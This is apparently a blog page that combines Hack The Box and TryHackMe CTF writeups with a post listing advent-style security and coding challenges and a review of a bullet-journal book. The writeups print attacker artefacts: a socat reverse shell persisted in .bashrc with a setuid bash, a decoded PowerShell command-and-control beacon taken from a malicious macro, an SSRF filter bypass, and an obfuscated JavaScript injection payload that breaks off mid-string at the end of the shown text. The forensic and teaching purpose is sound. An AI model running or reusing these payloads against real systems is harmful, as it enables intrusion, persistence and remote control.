security. code. parenting. learning. games.

HTB – Hack The Boo Forensic Writeups

I had a bit of time to play with the latest Hack the Box CTF: Hack the Boo. It was mostly targeted at a beginner audience but still had interesting challenges. I mostly focused on the first three forensic challenges this time.

Wrong Spooky Season

I told them it was too soon and in the wrong season to deploy such a website, but they assured me that theming it properly would be enough to stop the ghosts from haunting us. I was wrong.” Now there is an internal breach in the Spooky Network and you need to find out what happened. Analyze the the network traffic and find how the scary ghosts got in and what they did

Challenge Introduction

The challenge provided a .pcab file. Opening up in Wireshark for inspection, we notice, that it mostly contains HTTP traffic.

Most of that traffic were just images, htlm, css & java script. The files can be pretty easily exported.

File -> Export Objects -> HTTP

Most of them were not suspicious. Three of them gave a hint of what had been happening though:


It looked like there was a command injection vulnerability.

We were able to find another requests to that file in the PCAP:

GET /e4d1c32a56ca15b3.jsp?cmd=socat%20TCP:
Screenshot: Wireshark with the mentioned request

It looked like the attacker had started a reverse shell and was listening to it. This gave us more to look for.

In the packets below we could see them issuing a few commands to get a lay of the land. Like checking the distro with uname -r, listing out that passwd file or searching for “GTFO Bins“.

Eventually we see them issuing:

echo 'socat TCP: EXEC:sh' > /root/.bashrc && echo "==gC9FSI5tGMwA3cfRjd0o2Xz0GNjNjYfR3c1p2Xn5WMyBXNfRjd0o2eCRFS" | rev > /dev/null && chmod +s /bin/bash

Reversing and Base64 decoding (For example in CyberChef) ==gC9FSI5tGMwA3cfRjd0o2Xz0GNjNjYfR3c1p2Xn5WMyBXNfRjd0o2eCRFS gives us the flag:


Trick or Breach

Our company has been working on a secret project for almost a year. None knows about the subject, although rumor is that it is about an old Halloween legend where an old witch in the woods invented a potion to bring pumpkins to life, but in a more up-to-date approach. Unfortunately, we learned that malicious actors accessed our network in a massive cyber attack. Our security team found that the hack had occurred when a group of children came into the office’s security external room for trick or treat. One of the children was found to be a paid actor and managed to insert a USB into one of the security personnel’s computers, which allowed the hackers to gain access to the company’s systems. We only have a network capture during the time of the incident. Can you find out if they stole the secret project?

Challenge Introduction

As in the previous challenge we were provided with a .pcab file.

Looking at it in Wireshark it becomes clear, that there only was DNS traffic. A whole number of alphanumeric subdomains are queried.

Screenshot: Wireshark with the DNS Requests
Example: 2504b0304140008080800a52c47550000000000000000000000.pumpkincorp.com

This very much looks like data exfiltration via DNS.

with tshark -nr capture.pcap -Y "dns.flags.response == 0" we get a list of all domains DNS requests.

We could use pipes and command-line tools like cut to extract just the domains. I was lazy and did it in Sublime with multi line editing.

After that we had to remove the .pumpkincorp.com parts as well as the line breaks.

After that we had to decode it from hex, which I did in Cyberchef.

Screenshot: Cyberchef decoding the data from hex

Pieces of the output like /drawings/drawing1.xml or xl/worksheets/sheet1.xml suggest that this was an MS Exel file. So we downloaded and saved it as .xlsx file. Then it could be opened in an office program (In my case Libre Office) and we get to see the flag.

Screenshot of the exfiltrated document opened in libre office

Halloween Invitation

An email notification pops up. It’s from your theater group. Someone decided to throw a party. The invitation looks awesome, but there is something suspicious about this document. Maybe you should take a look before you rent your banana costume.

Challenge Introduction

This time we were presented with a .docm file. Opening it up in libre office we were presented with a warning about the macros being disabled for security reasons.

So we looked at the macros and found obfuscated code. The main block tried to build a command string that would run, but it’s parts were encoded.

Screenshot: Beginning of the macro in the macro editor of Libre Office

We now could extract the values and try to decode them in a tool like CyberChef. I went for a different route and copied the main part and the functions called within it and converted it into a python script that put out the decoded string.

from textwrap import wrap

def  uxdufnkjlialsyp(input):
    input = wrap(input, 2)
    output = ""
    for chars in input:
        output = output + chr(int(chars,16))
    return output

def  wdysllqkgsbzs(input):
    output = ""
    input = input.split(" ")
    for number in input:
        output = output + chr(int(number))
    return output

firstVar = ""
firstVar = firstVar + wdysllqkgsbzs(uxdufnkjlialsyp("3734203635203636203132322036352036382034382036352037342031") + uxdufnkjlialsyp("31392036352035312036352036382039392036352037362031303320363520353120363520363820383120363520373620313033"))
firstVar = firstVar + wdysllqkgsbzs(uxdufnkjlialsyp("363520313230203635203638203130") + uxdufnkjlialsyp("37203635203739203635203635203131372036352036382038352036352037372031303320363520353420363520363820313033203635203737203635203635203532"))
firstVar = firstVar + wdysllqkgsbzs(uxdufnkjlialsyp("3635203638203635203635203734") + uxdufnkjlialsyp("20313139203635203535203635203637203831203635203937203831203635203537203635203637203939203635203930203635203635203438203635203638203737"))
firstVar = firstVar + wdysllqkgsbzs(uxdufnkjlialsyp("3635203839203130332036362031303620363520373120373720363520373820313033203636203130372036352036") + uxdufnkjlialsyp("37203438203635203737203635203635203438203635203638203737203635203930"))
firstVar = firstVar + wdysllqkgsbzs(uxdufnkjlialsyp("313033203635203132312036352036382038312036352037372036352036352035") + uxdufnkjlialsyp("33203635203637203438203635203738203131392036362031303820363520373120363920363520373720313033203635"))
firstVar = firstVar + wdysllqkgsbzs(uxdufnkjlialsyp("313232203635203731203639203635203737203130332036362031303620363520363720393920363520373920313139203635203130372036352037322036352036352038302038312036352031") + uxdufnkjlialsyp("3130203635"))
firstVar = firstVar + wdysllqkgsbzs(uxdufnkjlialsyp("373120313033203635203130302036352036362034382036352037322036352036352037392031303320") + uxdufnkjlialsyp("36352031313820363520363720353620363520373420313139203635203535203635203637203831"))
firstVar = firstVar + wdysllqkgsbzs(uxdufnkjlialsyp("36352031303020313033203635203537203635203639203130372036352039382031303320363620353020363520373120353620363520393720313139203636203130382036352036372034") + uxdufnkjlialsyp("38203635203835"))
firstVar = firstVar + wdysllqkgsbzs(uxdufnkjlialsyp("31303320363620313038203635203732203737203635203130302036352036362037382036352037312038352036352031303020363520363620313131203635203731203536203635203930") + uxdufnkjlialsyp("203635203635"))
firstVar = firstVar + wdysllqkgsbzs(uxdufnkjlialsyp("313033203635203637203438203635203836203831203636203132322036352037312038") + uxdufnkjlialsyp("35203635203831203130332036362031303420363520373220373720363520393720383120363620313036203635"))
firstVar = firstVar + wdysllqkgsbzs(uxdufnkjlialsyp("373020363520363520383920383120363620313231203635203732203737203635203937203831203636") + uxdufnkjlialsyp("2031313720363520373120393920363520373320363520363520313136203635203730203835203635"))
firstVar = firstVar + wdysllqkgsbzs(uxdufnkjlialsyp("3939203130332036362031313220363520363720363520363520373420363520363620313139203635203637203831203635203939203131392036352031313820") + uxdufnkjlialsyp("3635203731203831203635203738203635"))
firstVar = firstVar + wdysllqkgsbzs(uxdufnkjlialsyp("363520313232203635203731203733203635") + uxdufnkjlialsyp("20383920313139203636203130362036352036382038392036352039302036352036352031303320363520363720343820363520383320363520363620313038"))
firstVar = firstVar + wdysllqkgsbzs(uxdufnkjlialsyp("36352037312036392036352039302036352036362031303820363520373220373320363520393920313139203635") + uxdufnkjlialsyp("20313033203635203639203635203635203130312031313920363520313035203635203639"))
firstVar = firstVar + wdysllqkgsbzs(uxdufnkjlialsyp("363920363520313030203831203636203438203635203731203130332036352039") + uxdufnkjlialsyp("38203131392036362031323120363520373120313037203635203130312031303320363620313034203635203732203831"))
firstVar = firstVar + wdysllqkgsbzs(uxdufnkjlialsyp("363520393720383120363620") + uxdufnkjlialsyp("313138203635203731203532203635203733203130332036352035372036352036372038312036352039372038312036362035372036352036382031313520363520313030"))
firstVar = firstVar + wdysllqkgsbzs(uxdufnkjlialsyp("313139203636203131312036352037312031303720363520393820363520363620313038") + uxdufnkjlialsyp("2036352036372036352036352037352036352036352031303720363520373220383120363520393920313033203636"))
firstVar = firstVar + wdysllqkgsbzs(uxdufnkjlialsyp("34392036352037312038352036352037352038312036362035352036352036372038312036352038392031313920363520353720363520363720313033203635203833203831203636203131") + uxdufnkjlialsyp("37203635203732"))
firstVar = firstVar + wdysllqkgsbzs(uxdufnkjlialsyp("38392036352039382031313920363620313134203635203731203835203635203736203831203636203833") + uxdufnkjlialsyp("20363520373120383520363520393920313139203636203438203635203639203438203635203930"))
firstVar = firstVar + wdysllqkgsbzs(uxdufnkjlialsyp("38312036362034382036352037312031303320363520393820313139203636203130372036352036372036352036352037362038312036362038362036352037322037") + uxdufnkjlialsyp("37203635203930203831203636203637"))
firstVar = firstVar + wdysllqkgsbzs(uxdufnkjlialsyp("363520373120363920363520393920313139203636203131322036352037312037372036352038352036352036362031303420363520") + uxdufnkjlialsyp("37322037332036352039392031313920363620313132203635203731"))
firstVar = firstVar + wdysllqkgsbzs(uxdufnkjlialsyp("35322036352039302031313920363520313033203635203637203438203635203836203831203636203132312036352037312031303720363520373320363520363520313037203635203732203635") + uxdufnkjlialsyp("203635"))
firstVar = firstVar + wdysllqkgsbzs(uxdufnkjlialsyp("37342036352036362031323220363520363720") + uxdufnkjlialsyp("35362036352037372036352036352034382036352036382037372036352039302031303320363520313231203635203638203831203635203737203635203635"))
firstVar = firstVar + wdysllqkgsbzs(uxdufnkjlialsyp("353320363520363720363520363520373620383120363620373320363520373120383520363520383920383120363620313037203635") + uxdufnkjlialsyp("2037312038352036352039392031303320363620313232203635203637"))
firstVar = firstVar + wdysllqkgsbzs(uxdufnkjlialsyp("36352036352038312036352036362035352036352036372037332036352038") + uxdufnkjlialsyp("3120383120363620343920363520373220383120363520393720363520363620313138203635203732203733203635203937"))
firstVar = firstVar + wdysllqkgsbzs(uxdufnkjlialsyp("383120363620353420363520373120363920363520") + uxdufnkjlialsyp("313030203635203636203131322036352037312035362036352039382031303320363520313035203635203638203438203635203734203635203636"))
firstVar = firstVar + wdysllqkgsbzs(uxdufnkjlialsyp("31313220363520373220343820363520") + uxdufnkjlialsyp("37352038312036352035352036352037312031303720363520393020313033203635203130332036352036372031303320363520373420363520363620313036203635"))
firstVar = firstVar + wdysllqkgsbzs(uxdufnkjlialsyp("3637") + uxdufnkjlialsyp("20363520363520373620383120363620313137203635203731203835203635203733203635203635203131302036352036392035322036352039382031313920363620313137203635203731203835"))
firstVar = firstVar + wdysllqkgsbzs(uxdufnkjlialsyp("363520373420313139203635203131322036352036372036352036352031303120313139203635203130372036352037322037332036352038302038312036362031313220363520") + uxdufnkjlialsyp("373120383520363520313031"))
firstVar = firstVar + wdysllqkgsbzs(uxdufnkjlialsyp("36352036352031303320") + uxdufnkjlialsyp("363520363720383120363520383920313139203635203130332036352036372034382036352038322038312036362031323120363520373220373320363520393820313139203636"))
firstVar = firstVar + wdysllqkgsbzs(uxdufnkjlialsyp("3132312036352036392036392036352038392031313920363620343820363520373120313037203635203938203131392036362031313720363520") + uxdufnkjlialsyp("363720363520363520383520313139203636203438203635"))
firstVar = firstVar + wdysllqkgsbzs(uxdufnkjlialsyp("3731203536203635203939203635203635203130332036352036372034382036352038322038312036362031323120") + uxdufnkjlialsyp("36352037322037332036352039382031313920363620313231203635203730203839"))
firstVar = firstVar + wdysllqkgsbzs(uxdufnkjlialsyp("363520383920383120363620313231203635203731203130372036352038392038") + uxdufnkjlialsyp("31203636203130352036352037312031313920363520393020383120363520313033203635203731203835203635203739"))
firstVar = firstVar + wdysllqkgsbzs(uxdufnkjlialsyp("3131392036352031303720363520373220373320363520383020383120") + uxdufnkjlialsyp("3636203830203635203732203835203635203130302036352036352031313620363520373020373720363520313030203635203636"))
firstVar = firstVar + wdysllqkgsbzs(uxdufnkjlialsyp("3132312036352037") + uxdufnkjlialsyp("31203130372036352039382031303320363620313130203635203637203635203635203736203831203636203734203635203731203532203635203939203635203636203439203635"))
firstVar = firstVar + wdysllqkgsbzs(uxdufnkjlialsyp("37322038312036352038342031313920363620313035203635203731203131312036352039302038312036362031303620363520373220383120363520373320363520363520313037203635203732") + uxdufnkjlialsyp("203733"))
firstVar = firstVar + wdysllqkgsbzs(uxdufnkjlialsyp("3635203739203131392036352031303720363520373220383120363520383020383120363620") + uxdufnkjlialsyp("373420363520373120353220363520313030203130332036362031313820363520373120313135203635203930"))
firstVar = firstVar + wdysllqkgsbzs(uxdufnkjlialsyp("38312036352031313620363520373020373320363520393020383120363620313232203635203732203831203635203834203831203636203130") + uxdufnkjlialsyp("3820363520373220383120363520393720363520363620313138"))
firstVar = firstVar + wdysllqkgsbzs(uxdufnkjlialsyp("3635203731203831203635203733") + uxdufnkjlialsyp("20363520363520313136203635203730203835203635203939203130332036362031313220363520363720363520363520373420363520363620313139203635203637"))
firstVar = firstVar + wdysllqkgsbzs(uxdufnkjlialsyp("3831203635203939203131392036352031313820363520363820393920363520393020383120363620313034203635203638203733203635203737203131392036362031303420363520363820373320") + uxdufnkjlialsyp("3635"))
firstVar = firstVar + wdysllqkgsbzs(uxdufnkjlialsyp("38392031313920363520313033203635203637203438203635203834203831203636203130382036352037322038312036352039372036352036362031313820363520373120") + uxdufnkjlialsyp("3831203635203733203635"))
firstVar = firstVar + wdysllqkgsbzs(uxdufnkjlialsyp("363620383120") + uxdufnkjlialsyp("36352036392035362036352038352031313920363620383520363520363720363520363520373620383120363620373320363520373120383520363520383920383120363620313037203635"))
firstVar = firstVar + wdysllqkgsbzs(uxdufnkjlialsyp("37312038352036352039392031303320363620313232203635203637203635203635203831203635203636203535") + uxdufnkjlialsyp("203635203637203733203635203831203831203636203439203635203732203831203635"))
firstVar = firstVar + wdysllqkgsbzs(uxdufnkjlialsyp("3937203635203636203131382036352037322037332036352039372038312036362035342036352037312036392036352031303020363520363620313132203635203731203536203635203938") + uxdufnkjlialsyp("20313033"))
firstVar = firstVar + wdysllqkgsbzs(uxdufnkjlialsyp("3635203130352036352036382034382036352037342036352036362031313220363520373220343820363520373320363520363520") + uxdufnkjlialsyp("3131362036352036392037332036352039382031313920363620313037"))
firstVar = firstVar + wdysllqkgsbzs(uxdufnkjlialsyp("363520373220") + uxdufnkjlialsyp("3130372036352037332036352036352031313120363520373020313135203635203835203131392036362035332036352037322037372036352031303020363520363620313038203635203731"))
firstVar = firstVar + wdysllqkgsbzs(uxdufnkjlialsyp("3438203635") + uxdufnkjlialsyp("203736203130332036362038352036352037312038352036352031303120363520363620343820363520363720353220363520383220383120363620313137203635203731203737203635203938"))
firstVar = firstVar + wdysllqkgsbzs(uxdufnkjlialsyp("3131392036362031303720363520373120313037203635203938203130332036362031313020363520373020343820363520373920313033203635203534203635203730203835203635") + uxdufnkjlialsyp("203836203635203636"))
firstVar = firstVar + wdysllqkgsbzs(uxdufnkjlialsyp("37312036352036382031303320363520373620313033203636203732203635203731") + uxdufnkjlialsyp("20383520363520313030203635203636203637203635203732203130372036352031303020363520363620313038203635"))
firstVar = firstVar + wdysllqkgsbzs(uxdufnkjlialsyp("3732203737203635203735203635203635203130372036352037312038352036352037352031313920363520313037203635203732203733203635203735203831203635") + uxdufnkjlialsyp("20313033203635203637203438"))
firstVar = firstVar + wdysllqkgsbzs(uxdufnkjlialsyp("36352039372031303320363620") + uxdufnkjlialsyp("3131382036352037312031303720363520393820313033203635203130332036352036372039392036352037332036352036352031313020363520363720313037203635"))
firstVar = firstVar + wdysllqkgsbzs(uxdufnkjlialsyp("313032") + uxdufnkjlialsyp("20383120363520313033203635203732203737203635203938203635203636203130382036352037312038352036352039392036352036352031303320363520363820363520363520373620313033"))
firstVar = firstVar + wdysllqkgsbzs(uxdufnkjlialsyp("363520353220363520373220343820363520383320363520363620") + uxdufnkjlialsyp("3835203635203639203733203635203130312031313920363520343920363520373220383520363520393920363520363520313232203635"))
firstVar = firstVar + wdysllqkgsbzs(uxdufnkjlialsyp("373220373320363520383820313139203635203132322036352036382038312036352037382038") + uxdufnkjlialsyp("31203636203533203635203730203536203635203938203831203635203438203635203731203737203635"))
firstVar = firstVar + wdysllqkgsbzs(uxdufnkjlialsyp("393920313033203635203131392036352036382038352036352031303220383120") + uxdufnkjlialsyp("3635203631"))
result = firstVar

The numbers represented char codes. Decoding them again got us strings in char code representation. Running the script gave us a Base64 encoded string.


Decoding that gave us the command with each char separated by dots:

$.s.=.'.7.7…7.4…1.9.8…5.2.:.'.;.$.i.=.'.d.4.3.b.c.c.6.d.-.0.4.3.f.'.;.$.p.=.'.h.t.t.p.:././.'.;.$.v.=.I.n.v.o.k.e.-.R.e.s.t.M.e.t.h.o.d. .-.U.s.e.B.a.s.i.c.P.a.r.s.i.n.g. .-.U.r.i. .$.p.$.s./.d.4.3.b.c.c.6.d. .-.H.e.a.d.e.r.s. .@.{.".A.u.t.h.o.r.i.z.a.t.i.o.n.".=.$.i.}.;.w.h.i.l.e. .(.$.t.r.u.e.).{.$.c.=.(.I.n.v.o.k.e.-.R.e.s.t.M.e.t.h.o.d. .-.U.s.e.B.a.s.i.c.P.a.r.s.i.n.g. .-.U.r.i. .$.p.$.s./.0.4.3.f. .-.H.e.a.d.e.r.s. .@.{.".A.u.t.h.o.r.i.z.a.t.i.o.n.".=.$.i.}.).;.i.f. .(.$.c. .-.n.e. .'.N.o.n.e.'.). .{.$.r.=.i.e.x. .$.c. .-.E.r.r.o.r.A.c.t.i.o.n. .S.t.o.p. .-.E.r.r.o.r.V.a.r.i.a.b.l.e. .e.;.$.r.=.O.u.t.-.S.t.r.i.n.g. .-.I.n.p.u.t.O.b.j.e.c.t. .$.r.;.$.t.=.I.n.v.o.k.e.-.R.e.s.t.M.e.t.h.o.d. .-.U.r.i. .$.p.$.s./.7.e.a.2.3.a.2.c. .-.M.e.t.h.o.d. .P.O.S.T. .-.H.e.a.d.e.r.s. .@.{.".A.u.t.h.o.r.i.z.a.t.i.o.n.".=.$.i.}. .-.B.o.d.y. .(.[.S.y.s.t.e.m…T.e.x.t…E.n.c.o.d.i.n.g.].:.:.U.T.F.8…G.e.t.B.y.t.e.s.(.$.e.+.$.r.). .-.j.o.i.n. .'. .'.).}. .s.l.e.e.p. .0…8.}.H.T.B.{.5.u.p.3.r..3.4.5.y..m.4.c.r.0.5.}.

At the end you can already see the flag.

My Advent Cyber 2021

Every year in December a good number of programming or security challenges surface in an Advent calendar style. They usually offer something new every day.

Of course there is way too much for anyone to take in at once so I have made my choice. If you are still on the fence on what to try, maybe my list can give you some inspirations. All of them are free to participate.

Advent of Cyber – TryHackMe.com

For the third time in a row the hands on security education platform TryHackMe is launching their Advent of Cyber.

Every day you get a very beginner friendly task in the realm of IT Security. From web exploitation over network attacks to blue team tasks and OSINT the variety is huge. There always are walk-throughs provided by well known security content creators, if you need assistance.

To motivate you they even sprinkle in some pretty cool prizes. Last years event was a great way to introduce new people to the world of IT security.

I might have grown a bit out of the relatively easy tasks but the creative and fun challenges still peak my interest.

You find the details at: https://tryhackme.com/christmas

Advent of Code

I always noticed https://adventofcode.com/ in my social media bubbles in the past years but never participated. But I feel like I have become a bit rusty with my coding so I will do it this year!

Basically it are two coding puzzles every day, wrapped into a fun little story. Just check out the previous years if you want to get a good idea of what to expect.

Sans Holiday Hack Challenge

This probably is the most elaborate holiday themed Hack Challenge. It only starts Mid-December but it features a isometric world you can walk in and interact with elves as well as Santa.

There are a lot of challenges spread around the world for you to tackle and progress the story. While they still remain beginner friendly the difficulty picks up quite a bit soon and you most likely will have to do a bit of research to complete them. There always are pointers for that to check out though as well as a very helpful community.

There also are a couple of talks paired with it. Overall my favorite Holiday past time in the last years.

Find more details at https://www.sans.org/mlp/holiday-hack-challenge/. Once it is live (it is not at the time of writing) you will find it here.

You can also play the previous years.

Cyber Santa is Coming to Town – HTB

Hack the Box also is running a Christmas themed CTF with nice prizes this year. But it is only active until Dec. 5th.

It is a jeopardy style CTF where you solves a set of challenges for points. If you are familiar with the HTB CTFs this one is like them.

This year will have 5 tasks each in the categories web, crypto, PWN, reversing and forensics. The challenges are set at a beginner level but do not come with educational pointers.

You can find details at https://www.hackthebox.com/events/santa-needs-your-help

The Bullet Journal Method by Ryder Carroll

Earlier this year I watched @ceos3cs video about his learning methodology. While he had a few good tips throughout the video, him mentioning that he used a paper notebook in addition to the digital recording was what got me looking at my old notebooks again.

In retrospect, I always started a paper based notebook in the harder, more stressful times of my life. One shortly before my burnout, one in the last days of my fathers life or one around the birth of our first baby. There is something soothing in writing the stuff on my mind down, but it never was a habit I kept for long. Most notebooks were at max filled to a third.

This time, I wanted a more systematic approach and in my mastodon timeline people were posting about their bullet journals for the new year. I started some research and the method seemed reasonable. But since the creator had put out a book about it, I figured I should check that out.


The book comes in a good hardcover bind with beautiful metallic golden print. The paper is medium thick with quite a bit of texture. The typesetting is well done and it is quite easy on the eyes. Illustrations are mostly examples of journal pages or small diagrams. They are functional but also look good. Overall it is very much like you would expect of a good hardcover book.


But I did not buy the book for its nice wrapping, so let’s dive into the content.

The writing is quite understandable but pleasant, comes with a touch of humor and links the scientific sources quoted. The examples used are consistent throughout the book and get reused where applicable.

Note: While you might see very elaborate Bullet Journals when searching for it online, the book reiterates several times that a bullet journal does not have to look good. It is first and foremost a functional tool and especially for beginners it is recommended to not put too much time into decorations and customizations.

Chapter 1 & 2

The first two chapters focus on the goal and origin of the Bullet Journal methodology as well as the basic technique.

Similar to other productivity techniques like “Getting things done” the Bullet Journal is meant to declutter ones mind by having all important thoughts and tasks written down. That way your mind is supposed to focus better on the task at hand.

Regular Review & Reflection phases make sure nothing important is missed and provide opportunity to question the relevance of any given task. I have encountered this base concept in many productivity techniques and it seems to be working quite well.

What sets the Bullet Journal methodology apart it it’s simple implementation and high degree of flexibility.

Basically you write down everything important during your day in short bullets. In addition you have a index to find what you need and a monthly and half yearly overview.

The flexibility comes from Custom Collections. Those can be task lists for larger projects, notes on a specific study topic or a habit tracker. The goal is to only track what is relevant, but give the room for what you are curious about or need.

After every day, you migrate unfinished tasks either to one of the collections, the monthly overview or, most importantly, strike out tasks that are not relevant or important enough. At the beginning of the day, you then review the monthly overview and your collections to make sure you do not miss anything important for the day.

A more detailed explanation of the technique can be found on the authors website: Bullet Journal.

Chapter 3

While the previous chapters explained the how, this chapter is a mix of theory behind the why and a workbook.

The author touches on why reflection is important, how to set goals and ultimately live a meaningful life. Every sub chapter comes with a exercise that will help you reflect on your life, your goals and where you want to go. It is as much a general life coaching part as it is explaining why the bullet journal works and how to get the most out of it.

This coaching part might not be for everyone. While it resonated very well with me, I could see why doing deep introspection workouts or using some of the techniques might push some people away. Doing any of them is not required to use a bullet journal but they did help me.

Chapter 4 & 5

The last chapters dive deeper into customization techniques and options. It comes with a set of examples. Some are from the author, some curated from the bullet journal community.

The book closes with an FAQ.

My Experience

This was a tough book to work through. Not so much the first part, but the second. Some of the exercises had me anxious, had me fighting with tears as they brought a lot to my mind that only had been linger subconsciously.

This was a helpful experience though. Not only did it help me focus more on my own goals again and get going with the bullet journal, my sleep issues have gotten significantly better.

What I do not have is that rush, that feeling of high productivity you usually have when starting a new productivity method. It actually is the opposite. I realize how much I have been procrastinating, how much time I spend on things not important for me.

Is this technique for me? I don’t know, that will need to get revisited in a few months.


The Bullet Journal Method” outlines a simple, customizable technique of managing your life. You do not have to read the book to adopt the method, but it can certainly help you with that and finding out what a meaningful life means for you.

TryHackMe – Advent of Cyber 2 Day 19 – 24 – BlueTeam, Web [Writeup]

As with the first, second and third part I have split the post to not get it too long.

Day 19 – The Naughty or Nice List

As in the previous days, we start by deploying the Attackbox and Challenge. Once all had some time to load, we pull up the site in a browser.

We have a Naughty&Nice list search and a Admin login. Let’s put something into the search, bar in my case.

It tells us bar is on the nice list. In the url bar, we notice where the search query leads us to:

This is url encoded. Using a url decoder (for example cyberchef) we can make it read nicer:

It looks like it is requesting something from a different server for the search. This means we most likely can request other services too. It might be a Server Side Request Forgery (SSRF) vulnerability, since we can make the server make requests.

Let#s try a accessing the same server by using as proxy parameter.

Looks like there is a policy in place that prevents that. Other external urls like google.com will give the same error.

It seems like the domain has to start with list.hohoho.

The challenge hint right on to that we need to use localtest.me to bypass the hostname filter with is set to localhost. So let’s use list.hohoho.localtest.me as proxy.

Ohh, this gives us a response:

This reveals the password and we can use that together with the username Santa to log into the admin panel.

There we can delete the naughty list, which will display the flag.

Day 20 – PowershELlF to the rescue

As before we deploy both attack box and the challenge.

First we ssh into the challenge box ssh -l mceager, accpet the fingerprint and enter thge supplied password.

We end up in a windows cmd prompt. Let’s first upgrade to powershell

With cd .\Documents\ we change into the Documents folder. Tab completion will help us. ls -Hidden reveals the folders hidden content. With cat we can print the content of e1fone.txt.

Then we do the same loop with the Desktop. cd .. and cd .\Desktop\. Another ls -Hidden shown a new folder, we cd .\elf2wo\ into it. There are no hidden files in here so we use ls without the hidden flag to show the files. Using cat again to display it’s content.

For the third task we are supposed to search the windows folder, so we cd C:\Windows\System32\ into it. There are a lot of files and we need to filter them down with ls -Hidden -Directory -Filter "*3*"

After changing into the folder, we wil notice it has 2 hidden files. The first one, where we are supposed to count words is pretty long. Too long for a manual count. We can use Measure-Object for that. We cat the file and pipe it to it. cat .\1.txt | Measure-Object -Word

To get specific words from the file, we can use powershells ability to access objects as arrays: (cat .\1.txt)[551, 6991]

For the final question we will use the select string commandlet. cat .\2.txt | Select-String "redryder" and yes, I had to use the hint to realize it had to be in there as one word and lower case.

Day 21 – Time for some ELForensics

We deploy the machines and follow the guide in the challenge to connect via RDP.

After opening powershell, we change the directory to Document s. With ls we can check for files, then cat will print the files content.

Advent of Cyber 2 - Day 21 - 01.jpg

Get-FileHash -Algorithm MD5 .\deebee.exe Gives us the MD5 hash of that file.

Luckily we have a strings tool on the machine so we can inspect the strings in that mysterious binary to find something interesting with c:\Tools\strings64.exe -accepteula .\deebee.exe, for example a flag.

Right below the flag we find something else:

Set-Content -Path .\lists.exe -value $(Get-Content $(Get-Command C:\Users\littlehelper\Documents\db.exe).Path -ReadCount 0 -Encoding Byte) -Encoding Byte -Stream hidedb

This hints that something is hidden in the ADS streams. Let’s display the streams of the exe

PS C:\Users\littlehelper\Documents> Get-Item -Path .\deebee.exe -stream *

PSPath        : Microsoft.PowerShell.Core\FileSystem::C:\Users\littlehelper\Documents\deebee.exe::$DATA
PSParentPath  : Microsoft.PowerShell.Core\FileSystem::C:\Users\littlehelper\Documents
PSChildName   : deebee.exe::$DATA
PSDrive       : C
PSProvider    : Microsoft.PowerShell.Core\FileSystem
PSIsContainer : False
FileName      : C:\Users\littlehelper\Documents\deebee.exe
Stream        : :$DATA
Length        : 5632

PSPath        : Microsoft.PowerShell.Core\FileSystem::C:\Users\littlehelper\Documents\deebee.exe:hidedb
PSParentPath  : Microsoft.PowerShell.Core\FileSystem::C:\Users\littlehelper\Documents
PSChildName   : deebee.exe:hidedb
PSDrive       : C
PSProvider    : Microsoft.PowerShell.Core\FileSystem
PSIsContainer : False
FileName      : C:\Users\littlehelper\Documents\deebee.exe
Stream        : hidedb
Length        : 6144

The second stream is the one we are looking for. Using the stream related command in the description and the correct stream we can run the DB connector: wmic process call create $(Resolve-Path .\deebee.exe:hidedb)

It will open another command window with the DB access and a flag.

Day 22 – Elf McEager becomes CyberElf

We start with the usual deploy & RDP connection dance.

For the first task, it looks like the folder is something encoded. Opening that in Cyberchef and pulling over the magic solver, we should get the password. thegrinchwashere. In there we also see the encoding.

We can no open up the password file. The passwords are encoded as well so we put them into cyberchef again. Magic does the trick.

For the final flag we have to look at the recycle bin.

eval(String.fromCharCode(118, 97, 114, 32, 115, 111, 109, 101, 115, 116, 114, 105, 110, 103, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 114, 101, 97, 116, 101, 69, 108, 101, 109, 101, 110, 116, 40, 39, 115, 99, 114, 105, 112, 116, 39, 41, 59, 32, 115, 111, 109, 101, 115, 116, 114, 105, 110, 103, 46, 116, 121, 112, 101, 32, 61, 32, 39, 116, 101, 120, 116, 47, 106, 97, 118, 97, 115, 99, 114, 105, 112, 116, 39, 59, 32, 115, 111, 109, 101, 115, 116, 114, 105, 110, 103, 46, 97, 115, 121, 110, 99, 32, 61, 32, 116, 114, 117, 101, 59, 115, 111, 109, 101, 115, 116, 114, 105, 110, 103, 46, 115, 114, 99, 32, 61, 32, 83, 116, 114, 105, 110, 103, 46, 102, 114, 111, 109, 67, 104, 97, 114, 67, 111, 100, 101, 40, 49, 48, 52, 44, 32, 49, 48, 52, 44, 32, 49, 49, 54, 44, 32, 49, 49, 54, 44, 32, 49, 49, 50, 44, 32, 49, 49, 53, 44, 32, 53, 56, 44, 32, 52, 55, 44, 32, 52, 55, 44, 32, 49, 48, 51, 44, 32, 49, 48, 53, 44, 32, 49, 49, 53, 44, 32, 49, 49, 54, 44, 32, 52, 54, 44, 32, 49, 48, 51, 44, 32, 49, 48, 53, 44, 32, 49, 49, 54, 44, 32, 49, 48, 52, 44, 32, 49, 49, 55, 44, 32, 57, 56, 44, 32, 52, 54, 44, 32, 57, 57, 44, 32, 49, 49, 49, 44, 32, 49, 48, 57, 44, 32, 52, 55, 44, 32, 49, 48, 52, 44, 32, 49, 48, 49, 44, 32, 57, 55, 44, 32, 49, 49, 56, 44, 32, 49, 48, 49, 44, 32, 49, 49, 48, 44, 32, 49, 49, 52, 44, 32, 57, 55, 44, 32, 49, 48, 53, 44, 32, 49, 50, 50, 44, 32, 57, 55, 44, 32, 52, 55, 41, 59, 32, 32, 32, 118, 97, 114, 32, 97, 108, 108, 115, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 103, 101, 116, 69, 108, 101, 109, 101, 110, 116, 115, 66, 121, 84, 97, 103, 78, 97, 109, 101, 40, 39, 115, 99, 114, 105, 112, 116, 39, 41, 59, 32, 118, 97, 114, 32, 110, 116, 51, 32, 61, 32, 116, 114, 117, 101, 59, 32, 102, 111, 114, 32, 40, 32, 118, 97, 114, 32, 105, 32, 61, 32, 97, 108, 108, 115, 46, 108, 101, 110, 103, 116, 104, 59, 32, 105, 45, 45, 59, 41, 32, 123, 32, 105, 102, 32, 40, 97, 108, 108, 115, 91, 105, 93, 46, 115, 114, 99, 46, 105, 110, 100, 101, 120, 79, 102, 40, 83, 116, 114, 105, 110, 103, 46, 102, 114, 111, 109, 67, 104, 97, 114, 67, 111, 100, 101, 40, 52, 57, 44, 32, 52, 57, 44, 32, 49, 48, 48, 44, 32, 53, 49, 44, 32, 53, 48, 44, 32, 52, 57, 44, 32, 53, 48, 44, 32, 53, 50, 44, 32, 